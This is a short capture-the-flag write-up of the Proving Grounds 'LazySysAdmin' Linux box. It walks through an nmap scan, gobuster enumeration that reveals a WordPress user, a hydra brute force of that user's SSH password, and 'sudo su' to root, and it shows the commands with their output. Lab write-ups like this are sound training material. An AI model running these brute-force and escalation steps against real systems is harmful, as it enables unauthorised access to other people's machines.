# LazySysAdmin Writeup - Proving Grounds

> Easy Linux box where directory brute forcing reveals a WordPress user togie, whose weak SSH password is recovered by brute force. The account is in the sudo group, so sudo su gives root.

- **URL:** https://hackindex.io/writeups/lazysysadmin
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Linux
- **Tags:** brute-force, ssh, sudo-misconfiguration, privilege-escalation
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 2 min read
- **Published:** 2026-10-07
- **Updated:** 2026-10-07

LazySysAdmin exposes a web server and Samba. Directory brute forcing surfaces a WordPress install that leaks the username `togie`, whose SSH password is weak enough to brute force. The account sits in the sudo group, so `sudo su` gives root.

## Reconnaissance

### Nmap

Scan all TCP ports and fingerprint the services.

```bash
sudo nmap -p- -sCV $TARGET_IP
# PORT     STATE SERVICE     VERSION
# 22/tcp   open  ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8
# 80/tcp   open  http        Apache httpd 2.4.7 ((Ubuntu))
# |_http-title: Backnode
# 139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
# 445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
# 3306/tcp open  mysql       MySQL (unauthorized)
# 6667/tcp open  irc         InspIRCd
```

SSH, an Apache site, Samba, MySQL and IRC. Brute force the web root for content.

### Web enumeration

Enumerate directories.

```bash
gobuster dir -u http://$TARGET_IP -w /usr/share/dirb/wordlists/common.txt
# /apache        (Status: 301)
# /info.php      (Status: 200)
# /old           (Status: 301)
# /phpmyadmin    (Status: 301)
# /robots.txt    (Status: 200)
# /test          (Status: 301)
# /wordpress     (Status: 301)
# /wp            (Status: 301)
```

The `/wordpress` directory reveals the username `togie`.

## Exploitation

### SSH brute force

With a username in hand, brute force the SSH password with hydra and a common-password list.

```bash
hydra -l togie -P /usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt $TARGET_IP ssh
# [DATA] attacking ssh://$TARGET_IP:22/
# [22][ssh] host: $TARGET_IP   login: togie   password: $TOGIE_PASSWORD
# 1 of 1 target successfully completed, 1 valid password found
```

The password is recovered. Log in over SSH.

```bash
ssh togie@$TARGET_IP
# togie@LazySysAdmin:~$ id
# uid=1000(togie) gid=1000(togie) groups=1000(togie),27(sudo),111(sambashare)
```

`togie` belongs to the `sudo` group.

## Privilege Escalation

Escalate with the account's own sudo rights.

```bash
sudo su
# togie@LazySysAdmin:~$ sudo su
# [sudo] password for togie:
# root@LazySysAdmin:/home/togie# id
# uid=0(root) gid=0(root) groups=0(root)
```

`togie` has full sudo access, so `sudo su` returns a root shell.

Related